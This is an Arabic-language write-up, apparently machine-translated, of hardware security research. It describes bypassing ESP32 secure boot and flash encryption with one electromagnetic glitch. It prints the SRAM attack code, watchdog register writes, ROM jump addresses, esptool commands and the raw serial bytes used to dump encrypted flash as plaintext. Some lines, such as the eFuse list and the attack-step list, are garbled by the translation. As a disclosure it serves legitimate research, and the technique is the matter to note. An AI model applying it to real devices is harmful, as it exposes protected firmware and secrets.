... أثناء قراءتك للهجوم الموصوف في هذه المقالة ، ضع في اعتبارك أنه ينطبق على رقاقات المراجعة 0 و 1. تدعم ESP32 V3s الأحدث وظيفة تعطيل محمل الإقلاع UART المستخدمة في هذا الهجوم.
محمل UART
في ESP32 ، يتم تنفيذ أداة تحميل التشغيل UART في كود ROM. هذا يجعل من الممكن ، من بين أمور أخرى ، كتابة البرامج على ذاكرة فلاش خارجية. يعد تنفيذ أداة تحميل التشغيل UART كرمز مخزن في ROM حلاً شائعًا. إنه موثوق تمامًا نظرًا لحقيقة أن هذا الرمز لا يتلف بسهولة. إذا كانت هذه الوظيفة تستند إلى الكود المخزن في ذاكرة الفلاش الخارجية ، فإن أي تلف لهذه الذاكرة سيؤدي إلى عدم تشغيل وحدة التحكم الدقيقة تمامًا.
عادة ، يتم تنظيم الوصول إلى هذه الوظيفة عندما يتم تحميل الشريحة في وضع خاص ، في وضع التمهيد. يتم اختيار هذا الوضع باستخدام وصلات العبور (أو وصلات العبور) المثبتة قبل إعادة تشغيل الجهاز. يستخدم ESP32 دبوسًا لهذا الغرض
G0.
يدعم UART bootloader العديد من ملفاتالتعليمات التي يمكن استخدامها لقراءة / كتابة الذاكرة وتسجيلات وحتى تنفيذ البرامج من SRAM.
▍ تنفيذ التعليمات البرمجية التعسفية
يدعم مُحمل UART تحميل التعليمات البرمجية العشوائية وتنفيذها باستخدام أمر
load_ram. تتضمن ESP32 SDK جميع الأدوات اللازمة لترجمة التعليمات البرمجية التي يمكن تنفيذها من SRAM. على سبيل المثال ، يُخرج مقتطف الشفرة التالي سلسلة SRAM CODE\nإلى الواجهة التسلسلية.
void __attribute__((noreturn)) call_start_cpu0()
{
ets_printf("SRAM CODE\n");
while (1);
}
يمكن استخدام الأداة
esptool.py، التي تعد جزءًا من ESP32 SDK ، لتحميل الثنائيات المترجمة في SRAM. ثم يمكن تشغيل هذه الملفات.
esptool.py --chip esp32 --no-stub --port COM3 load_ram code.bin
ومن المثير للاهتمام ، أنه لا يمكن تعطيل أداة تحميل التشغيل UART. لذلك ، هناك دائمًا إمكانية الوصول إليها ، حتى إذا تم تمكين التمهيد الآمن وتشفير ذاكرة الفلاش.
▍ إجراءات أمنية إضافية
من الواضح ، ما لم يتم اتخاذ تدابير أمنية إضافية ، فإن التوافر المستمر لمحمل الإقلاع UART سيجعل آليات التمهيد والتشفير الآمنة لذاكرة فلاش غير مجدية عمليًا. لذلك ، نفذت Espressif آليات أمان إضافية تعتمد على تقنية eFuse.
هذه هي البتات المستخدمة لتكوين معلمات الأمان ، والتي يتم تخزينها في ذاكرة خاصة يشار إليها غالبًا باسم ذاكرة OTP (ذاكرة قابلة للبرمجة لمرة واحدة). يمكن أن تتغير وحدات البت الموجودة في هذه الذاكرة من 0 إلى 1 ، ولكن ليس في الاتجاه المعاكس. هذا يضمن أنه إذا تم تعيين ميزة تمكين قليلاً ، فلن يتم مسحها مرة أخرى. عندما يعمل ESP32 في وضع أداة تحميل التشغيل UART ، يتم استخدام وحدات البت التالية من ذاكرة OTP لتعطيل بعض الإمكانات:
DISABLE_DL_ENCRYPT: -.DISABLE_DL_DECRYPT: -.DISABLE_DL_CACHE: MMU- -.
نحن مهتمون جدًا بذاكرة OTP
DISABLE_DL_DECRYPT، حيث إنها تعطل فك التشفير الشفاف للبيانات المخزنة في ذاكرة فلاش.
إذا لم يتم تعيين هذا البت ، فعند تحميل وحدة التحكم الدقيقة باستخدام أداة تحميل التشغيل UART ، يمكنك تنظيم الوصول البسيط إلى البيانات المخزنة في ذاكرة الفلاش ، والعمل معها كما هو الحال مع النص العادي.
إذا تم تعيين هذا البت ، عندئذٍ ، في وضع التمهيد باستخدام أداة تحميل التشغيل UART ، يمكن قراءة البيانات المشفرة فقط من الذاكرة. يتم تمكين وظيفة تشفير الفلاش ، التي يتم تنفيذها بالكامل في الأجهزة وتكون شفافة للمعالج ، فقط عند تشغيل ESP32 في الوضع العادي.
عند تنفيذ الهجوم الذي نتحدث عنه هنا ، يتم تعيين كل هذه البتات على 1.
تستمر بيانات SRAM بعد إعادة تشغيل الجهاز
إن SRAM المستخدم بواسطة متحكم ESP32 شائع جدًا. نفس الشيء يستخدمه العديد من الرقائق. يتم استخدامه عادةً مع ROM وهو مسؤول عن بدء محمل الإقلاع الأول من ذاكرة فلاش. هذه الذاكرة مناسبة للاستخدام في المراحل الأولى من التحميل ، حيث لا يلزم تكوين أي شيء قبل استخدامها.
تخبرنا الخبرة من الأبحاث السابقة أن البيانات المخزنة في SRAM لا تتغير حتى يتم استبدالها ، أو حتى لا يتم توفير المزيد من الكهرباء لخلايا الذاكرة. بعد إعادة الضبط على البارد (أي دورة تشغيل / إيقاف تشغيل الطاقة) للرقاقة ، ستتم إعادة تعيين محتوى SRAM إلى حالته الافتراضية. تتميز كل شريحة من هذه الذاكرة بحالة فريدة (يمكن القول ، شبه عشوائية) من البتات التي تم ضبطها على القيمتين 0 و 1.
ولكن بعد إعادة التشغيل السريع ، عند إعادة تشغيل الشريحة دون إيقاف تشغيل الطاقة ، يمكن أن تظل البيانات المخزنة في ذاكرة SRAM كما كانت. هذا هو مبين في الشكل التالي.

تأثير عمليات إعادة التشغيل الباردة (أعلاه) والساخنة (أدناه) على محتوى SRAM
قررنا معرفة ما إذا كان ما سبق ينطبق على ESP32. وجدنا أنه يمكنك استخدام جهاز توقيت مراقبة الأجهزة لإجراء تمهيد تشغيل رقيق. يمكنك فرض تشغيل هذا المؤقت حتى عندما تكون الشريحة في وضع التمهيد باستخدام أداة تحميل التشغيل UART. نتيجة لذلك ، يمكنك استخدام هذه الآلية لوضع ESP32 في وضع التمهيد العادي.
باستخدام رمز الاختبار ، الذي تم تحميله في SRAM وتم تنفيذه باستخدام أداة تحميل التشغيل UART ، قررنا أن البيانات في SRAM ، في الواقع ، تستمر بعد إعادة الضبط السريع التي بدأها مؤقت المراقبة. وهذا يعني أننا ، بعد تسجيل ما نحتاجه في SRAM ، يمكننا تشغيل ESP32 كالمعتاد.
ثم ظهر السؤال أمامنا حول كيفية استخدام هذا.
طريق الفشل
افترضنا أننا قد نكون قادرين على الاستفادة من حقيقة أن البيانات يتم حفظها في SRAM بعد إعادة التشغيل السريع للهجوم. كان هجومنا الأول هو أننا كتبنا بعض التعليمات البرمجية إلى SRAM باستخدام أداة تحميل التشغيل UART ، وبعد ذلك ، باستخدام مؤقت المراقبة ، أجرينا إعادة تشغيل ساخنة للجهاز. ثم قمنا بتعطل من خلال تشغيله بينما يقوم رمز ROM بالكتابة فوق هذا الرمز برمز أداة تحميل التشغيل الفلاش أثناء التمهيد العادي.
لقد حصلنا على هذه الفكرة بعد أن قمنا بتحويل عملية نقل البيانات إلى عملية تنفيذ التعليمات البرمجية في سياق التجارب السابقة . ثم لاحظنا أن الشريحة تبدأ في تنفيذ الكود من عنوان البداية قبل أن يكمل برنامج bootloader النسخ.
في بعض الأحيان ، من أجل تحقيق شيء ما ، تحتاج فقط إلى تجربته ...
الرمز تم تحميله في ذاكرة SRAM واستخدامه لتنفيذ الهجوم
هذا هو الكود الذي كتبناه إلى SRAM باستخدام أداة تحميل التشغيل UART.
#define a "addi a6, a6, 1;"
#define t a a a a a a a a a a
#define h t t t t t t t t t t
#define d h h h h h h h h h h
void __attribute__((noreturn)) call_start_cpu0() {
uint8_t cmd;
ets_printf("SRAM CODE\n");
while (1) {
cmd = 0;
uart_rx_one_char(&cmd);
if(cmd == 'A') { // 1
*(unsigned int *)(0x3ff4808c) = 0x4001f880;
*(unsigned int *)(0x3ff48090) = 0x00003a98;
*(unsigned int *)(0x3ff4808c) = 0xc001f880;
}
}
asm volatile ( d ); // 2
"movi a6, 0x40; slli a6, a6, 24;" // 3
"movi a7, 0x00; slli a7, a7, 16;"
"xor a6, a6, a7;"
"movi a7, 0x7c; slli a7, a7, 8;"
"xor a6, a6, a7;"
"movi a7, 0xf8;"
"xor a6, a6, a7;"
"movi a10, 0x52; callx8 a6;" // R
"movi a10, 0x61; callx8 a6;" // a
"movi a10, 0x65; callx8 a6;" // e
"movi a10, 0x6C; callx8 a6;" // l
"movi a10, 0x69; callx8 a6;" // i
"movi a10, 0x7A; callx8 a6;" // z
"movi a10, 0x65; callx8 a6;" // e
"movi a10, 0x21; callx8 a6;" // !
"movi a10, 0x0a; callx8 a6;" // \n
while(1);
}
يقوم هذا الرمز بتنفيذ ما يلي (تتوافق أرقام عناصر القائمة مع الأرقام المحددة في التعليقات):
- معالج أمر واحد يقوم بإعادة تعيين مؤقت المراقبة.
- نظير
NOPيعتمد على التعليماتaddi. - كود التجميع الذي يخرج سلسلة إلى الواجهة التسلسلية
Raelize!.
▍ اختيار توقيت الهجوم
كانت لدينا نافذة هجوم صغيرة نسبيًا تحت تصرفنا ، بدءًا من
Fكما هو موضح في الشكل التالي. علمنا من التجارب السابقة أنه يتم نسخ كود أداة تحميل التشغيل من ذاكرة فلاش في هذه المرحلة.

يتم تمثيل نافذة الهجوم
بفشل يجب أن يتم ترتيبها قبل أن يتم استبدال محتوى SRAM بالكامل بكود محمل الإقلاع الصحيح من ذاكرة فلاش.
▍ دورة الهجوم
في كل تجربة من تجاربنا ، اتخذنا الخطوات التالية للتحقق من نجاح فكرة الهجوم. يجب أن يؤدي التنظيم الناجح للفشل إلى إخراج واجهة الخط التسلسلي
Raelize!.
- ضبط الدبوس
G0منخفضًا وإجراء تمهيد بارد للدخول إلى وضع أداة تحميل التشغيل UART. - استخدام أمر
load_ramلتنفيذ رمز هجوم من SRAM. - يرسل البرنامج
Aإلى إعادة التشغيل السريع والعودة إلى وضع التمهيد العادي. - تنظيم فشل في عملية نسخ محمل الإقلاع من ذاكرة الفلاش باستخدام كود ROM.
▍ النتائج
بعد أن أجرينا هذه التجربة لأكثر من يوم ، وبعد أن أجريناها أكثر من مليون مرة ، ما زلنا لم ننجح.
▍ نتيجة غير متوقعة
لكن على الرغم من حقيقة أننا لم ننجح في تحقيق ما أردناه ، فقد وجدنا شيئًا غير متوقع عند تحليل نتائج التجارب.
في إحدى التجارب ، تم عرض البيانات على الواجهة التسلسلية للإشارة إلى أن الفشل أدى إلى استثناء
IllegalInstruction(تعليمات غير صالحة). هكذا بدا الأمر:
ets Jun 8 2016 00:22:57
rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0008,len:4
load:0x3fff000c,len:3220
load:0x40078000,len:4816
load:0x40080400,len:18640
entry 0x40080740
Fatal exception (0): IllegalInstruction
epc1=0x661b661b, epc2=0x00000000, epc3=0x00000000,
excvaddr=0x00000000, depc=0x00000000
عند محاولة التسبب في فشل الشريحة ، تحدث هذه الاستثناءات كثيرًا. وينطبق الشيء نفسه على ESP32. بالنسبة لمعظم هذه الاستثناءات ، يتم
PCتعيين السجل على القيمة المتوقعة (أي يوجد العنوان الصحيح هناك). نادرا ما يحدث أن PCيظهر مثل هذا المعنى المثير للاهتمام.
تم
IllegalInstructionطرح الاستثناء نظرًا 0x661b661bلعدم وجود إرشادات صحيحة في العنوان . قررنا أن هذه القيمة PCيجب أن تأتي من مكان ما في السجل ، ولا يمكن أن تظهر هناك بحد ذاتها.
بحثًا عن تفسير ، قمنا بتحليل الكود الذي قمنا بتحميله في SRAM. سمح لنا عرض الكود الثنائي ، الذي يظهر مقتطف منه أدناه ، باكتشاف إجابة سؤالنا بسرعة. وبالتحديد ، من السهل العثور على المعنى هنا
0x661b661b... يتم تمثيله بتعليمين addi a6, a6, 1، بمساعدة تطبيق التناظرية في الكود NOP.
00000000 e9 02 02 10 28 04 08 40 ee 00 00 00 00 00 00 00 |....(..@........|
00000010 00 00 00 00 00 00 00 01 00 00 ff 3f 0c 00 00 00 |...........?....|
00000020 53 52 41 4d 20 43 4f 44 45 0a 00 00 00 04 08 40 |SRAM CODE......@|
00000030 50 09 00 00 00 00 ff 3f 04 04 fe 3f 4d 04 08 40 |P......?...?M..@|
00000040 00 04 fe 3f 8c 80 f4 3f 90 80 f4 3f 98 3a 00 00 |...?...?...?.:..|
00000050 80 f8 01 c0 54 7d 00 40 d0 92 00 40 36 61 00 a1 |....T}.@...@6a..|
00000060 f5 ff 81 fc ff e0 08 00 0c 08 82 41 00 ad 01 81 |...........A....|
00000070 fa ff e0 08 00 82 01 00 4c 19 97 98 1f 81 ef ff |........L.......|
00000080 91 ee ff 89 09 91 ee ff 89 09 91 f0 ff 81 ee ff |................|
00000090 99 08 91 ef ff 81 eb ff 99 08 86 f2 ff 5c a9 97 |.............\..|
000000a0 98 c5 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 3e 0c |...f.f.f.f.f.f>.|
000000b0 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
000000c0 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
000000d0 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
...
00000330 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
00000340 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
00000350 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
لقد أعددنا "غرفة للمناورة" بهذه التعليمات ، باستخدامها بطريقة مشابهة لكيفية استخدام تسلسل الأوامر
NOPغالبًا في عمليات استغلال الثغرات لتأخير تنفيذ التعليمات البرمجية لحين الحاجة إليها. لم نتوقع أن تنتهي هذه التعليمات في السجل PC.
لكننا بالطبع لم نعارض استخدام هذا. قررنا أنه يمكننا تحميل البيانات من SRAM إلى سجل
PCأثناء حدوث عطل ناتج عن نسخ البيانات من ذاكرة الفلاش عن طريق رمز ROM.
سرعان ما أدركنا أن لدينا الآن جميع المكونات اللازمة للتحضير لهجوم يتجاوز أنظمة تشفير التمهيد والفلاش الآمن مع خلل واحد. استخدمنا هنا الخبرة المكتسبة أثناء تنفيذ الهجوم الموصوف سابقًاعندما تمكنا من السيطرة على السجل
PC.
طريق النجاح
في هذا الهجوم ، استخدمنا معظم التعليمات البرمجية التي تم تحميلها مسبقًا في SRAM باستخدام أداة تحميل التشغيل UART. تمت إزالة أوامر إخراج الأحرف إلى الواجهة التسلسلية فقط من هذا الرمز ، حيث كان هدفنا الآن هو ضبط السجل
PCعلى القيمة التي نحتاجها ، أي للحصول على القدرة على التحكم في النظام.
#define a "addi a6, a6, 1;"
#define t a a a a a a a a a a
#define h t t t t t t t t t t
#define d h h h h h h h h h h
void __attribute__((noreturn)) call_start_cpu0() {
uint8_t cmd;
ets_printf("SRAM CODE\n");
while (1) {
cmd = 0;
uart_rx_one_char(&cmd);
if(cmd == 'A') {
*(unsigned int *)(0x3ff4808c) = 0x4001f880;
*(unsigned int *)(0x3ff48090) = 0x00003a98;
*(unsigned int *)(0x3ff4808c) = 0xc001f880;
}
}
asm volatile ( d );
while(1);
}
بعد تجميع هذا الرمز ، قمنا ، في نسخته الثنائية ، باستبدال التعليمات
addiبعنوان 0x4005a980. في هذا العنوان توجد وظيفة في ROM تقوم بإخراج البيانات إلى الواجهة التسلسلية. ستسمح لنا المكالمة الناجحة لهذه الوظيفة بمعرفة أي هجوم ناجح.
لقد أعددنا أنفسنا للتعامل مع الإخفاقات التي كانت متوافقة مع سبب الاستثناء في تجربة سابقة
IllegalInstruction. بعد فترة ، اكتشفنا الانتهاء بنجاح من العديد من التجارب لتحميل PCالعنوان المحدد في السجل . من PCالمحتمل جدًا أن تعني التحكم في الحالة أنه يمكننا تنفيذ تعليمات برمجية عشوائية.
▍ لماذا هذا ممكن؟
يحتوي عنوان هذا القسم على سؤال جيد ليس من السهل الإجابة عليه.
للأسف ، ليس لدينا إجابة واضحة. بالتأكيد لم نتوقع التلاعب بالبيانات للسماح بالتحكم في التسجيل
PC. لدينا عدة تفسيرات لذلك ، لكن لا يمكننا أن ندعي بيقين تام أن أيًا منها صحيح.
أحد التفسيرات هو أنه أثناء الفشل ، يتم استخدام كلا معاملي التعليمات
ldrلتحميل القيمة فيها a0. هذا مشابه لما رأيناه في هذا الهجوم ، حيث اكتسبنا سيطرة غير مباشرة على السجل من PCخلال تعديل البيانات.
علاوة على ذلك ، من الممكن أن تحتوي الشفرة المخزنة في ذاكرة القراءة فقط على وظائف تساهم في نجاح هذا الهجوم. بمعنى آخر ، بسبب الفشل ، يمكننا تنفيذ الكود الصحيح من ROM ، مما يؤدي إلى حقيقة أن البيانات من SRAM يتم تحميلها في السجل
PC.
يجب إجراء المزيد من الأبحاث لمعرفة ما الذي مكننا بالضبط من تنفيذ هذا الهجوم. ولكن إذا نظرت إلى الأمر من خلال عيون شخص قرر اختراق الشريحة ، فلدينا ما يكفي من المعرفة لإنشاء استغلال يعتمد على إمكانية التأثير على السجل
PC.
استخراج محتويات ذاكرة فلاش كنص عادي
يمكننا أن نكتب في السجل
PCما نريد ، لكن لا يمكننا حتى الآن استرداد محتويات ذاكرة الفلاش كنص عادي. لذلك ، تقرر الاستفادة من إمكانات محمل الإقلاع UART.
وبالتحديد ، قررنا الانتقال مباشرة إلى أداة تحميل التشغيل UART بينما تكون الشريحة في وضع التمهيد العادي. لتنفيذ هذا الهجوم ، أعدنا كتابة التعليمات
addiفي الكود الذي تم تحميله في ذاكرة الوصول العشوائي ، باستخدام عنوان بدء رمز أداة تحميل التشغيل UART ( 0x40007a19) بدلاً من ذلك .
يخرج محمل الإقلاع UART السطر الموضح أدناه إلى الواجهة التسلسلية. يمكننا استخدام هذه الحقيقة لتحديد نجاح الهجوم.
waiting for download\n"
بعد نجاح هذه التجربة ، يمكننا ببساطة استخدامها
esptool.pyلتشغيل الأمر read_memوالوصول إلى بيانات الفلاش بنص عادي. على سبيل المثال ، يقرأ الأمر التالي 4 بايت من مساحة عنوان الفلاش الخارجية ( 0x3f400000).
esptool.py --no-stub --before no_reset --after no_reset read_mem 0x3f400000
لسوء الحظ ، لم ينجح مثل هذا الأمر. لسبب ما ، بدت استجابة المعالج مثل
0xbad00bad، مشيرة إلى أننا نحاول قراءة البيانات من الذاكرة غير المخصصة.
esptool.py v2.8
Serial port COM8
Connecting....
Detecting chip type... ESP32
Chip is ESP32D0WDQ6 (revision 1)
Crystal is 40MHz
MAC: 24:6f:28:24:75:08
Enabling default SPI flash mode...
0x3f400000 = 0xbad00bad
Staying in bootloader.
لاحظنا أنه يتم إجراء الكثير من الإعدادات في بداية محمل الإقلاع UART. افترضنا أن هذه الإعدادات قد تؤثر على MMU أيضًا.
فقط لتجربة شيء آخر ، قررنا الانتقال مباشرة إلى معالج الأوامر الخاص بمحمل الإقلاع UART (
0x40007a4e) نفسه . بعد أن وجدنا أنفسنا في المعالج ، يمكننا إرسال الأمر read_memبشكل مستقل مباشرةً إلى الواجهة التسلسلية:
target.write(b'\xc0\x00\x0a\x04\x00\x00\x00\x00\x00\x00\x00\x40\x3f\xc0')
لسوء الحظ ، إذا انتقلت مباشرة إلى المعالج ، فلن يتم عرض السطر الذي يتم عرضه بعد دخول أداة تحميل التشغيل UART (أي -
waiting for download\n). لهذا السبب ، نفقد طريقة بسيطة ومريحة لتحديد التجارب الناجحة. نتيجة لذلك ، قررنا إرسال الأمر أعلاه في جميع التجارب ، بغض النظر عما إذا كانت ناجحة أم لا. استخدمنا مهلة تسلسلية قصيرة جدًا لتقليل المهلة الإضافية المرتبطة بهذه المهلة ، وهو ما يحدث دائمًا تقريبًا.
بعد فترة رأينا نتائج التجارب الأولى الناجحة!
النتيجة
في هذه المقالة ، وصفنا هجومًا على ESP32 ، حيث نتجاوز أنظمة التمهيد والتشفير الآمنة لذاكرة فلاش ، وترتيب فشل واحد فقط في وحدة التحكم الدقيقة. علاوة على ذلك ، استخدمنا ثغرة أمنية تم استغلالها أثناء الهجوم لاستخراج محتويات ذاكرة الفلاش المشفرة في نص عادي.
يمكننا استخدام FIRM للدخول في هذا الهجوم .

تقدم الهجوم فيما
يلي وصف موجز لما يحدث في الخطوات المختلفة للهجوم أعلاه:
- تنشيط (اختيار الأدوات لتنفيذ هجوم) - يتم استخدام مجمع Riscure Inspector FI هنا .
- حقن (هجوم) - يتم تنفيذ تأثير كهرومغناطيسي على متحكم دقيق قيد التحقيق.
- Glitch ( ) — , (, , ).
- Fault ( ) — , , , . , - .
- Exploit ( ) — UART , SRAM, . UART
PCread_mem. - Goal ( ) — - .
ومن المثير للاهتمام أن نجاح هذا الهجوم يعتمد على نقطتي ضعف في ESP32. نقطة الضعف الأولى هي أنه لا يمكن تعطيل أداة تحميل التشغيل UART. نتيجة لذلك ، فهو متاح دائمًا. الضعف الثاني هو استمرار البيانات في SRAM بعد إعادة ضبط الجهاز. يسمح ذلك باستخدام محمل الإقلاع UART لملء ذاكرة SRAM ببيانات عشوائية.
في تقرير إعلامي ، يشير إلى الهجوم ، ذكرت شركة Espressif أن الإصدارات الأحدث من ESP32 توجد آليات تجعل مثل هذا الهجوم مستحيلاً.
جميع الأنظمة المضمنة القياسية عرضة لهجمات تعطيل الجهاز. لذلك ، ليس من المستغرب أن يكون المتحكم الدقيق ESP32 عرضة أيضًا لهجمات القناة الجانبية. رقائق مثل هذه ببساطة ليست مصممة لتحمل مثل هذه الهجمات. لكن الأهم من ذلك أن هذا لا يعني أن مثل هذه الهجمات لا تنطوي على أي مخاطر.
أظهر بحثنا أن استغلال نقاط الضعف في الشريحة يسمح لهجمات ناجحة ، مما يسبب الفشل. تستخدم معظم الهجمات التي يمكن تعلمها من المصادر المفتوحة الأساليب التقليدية ، حيث ينصب التركيز الأساسي على تجاوز عمليات التحقق. لم نر تقارير كثيرة جدًا عن هجمات مثل التي وصفناها.
نحن على ثقة من أن الإمكانات الكاملة لمثل هذه الهجمات لم يتم استكشافها بالكامل بعد. حتى وقت قريب ، كان معظم الباحثين يدرسون فقط طرق تعطيل عمل الرقائق (خطوات تنشيط ، حقن ، خلل) ، لكننا ذهبنا إلى أبعد من ذلك ، مع الأخذ في الاعتبار إمكانية العمل مع شريحة ضعيفة بعد فشل (خطوات خطأ ، استغلال ، هدف).

البحث حتى عام 2020 وما بعده 2020
نحن على ثقة من أن الاستخدام الإبداعي لنماذج فشل الرقاقة الجديدة سيؤدي إلى زيادة أساليب الهجوم التي تستخدم استراتيجيات مثيرة للاهتمام لاستغلال الثغرات الأمنية لتحقيق مجموعة متنوعة من الأهداف.
إذا كنت مهتما في هذا الموضوع التي أثيرت في هذه المواد، ثم هنا ، هنا و هنا - المواد الأخرى المكرسة لدراسة ESP32.
هل واجهت عمليًا اختراقًا لأي أجهزة بطرق مشابهة لتلك التي تمت مناقشتها في هذه المقالة؟
